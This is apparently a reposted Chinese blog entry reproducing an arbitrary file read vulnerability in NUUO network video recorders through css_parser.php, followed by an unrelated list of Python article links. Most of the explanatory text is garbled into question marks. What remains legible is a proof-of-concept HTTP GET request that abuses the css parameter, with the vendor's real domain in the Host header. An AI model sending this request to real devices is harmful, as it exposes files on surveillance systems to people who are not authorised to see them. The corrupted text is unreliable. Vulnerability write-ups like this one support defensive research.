NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：805 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

Python、IMAP 和 GMail.将消息标记为已查看

查看>>

python一个一个获取迭代器的元素

查看>>

python一维数组提取_python – 如何从numpy中的1维数组中提取零维切片

python上的字无效字符_标识中的无效字符

查看>>

python下用decode和encode 中文转码

查看>>

Python下调用Linux的Shell命令

查看>>

Python接口自动化测试实战系列

查看>>

python下载_安装_配置_以及第一行python程序---python工作笔记009

python与c语言混合编程_你试过C语言和Python一起混合编程吗？两者相加不是已经无敌了！...

查看>>

python与excel

查看>>

Python与Excel的完美邂逅：深入浅出，手把手教你轻松玩转Excel数据操作

查看>>

python与flask_Python编程中flask的简介与简单使用

查看>>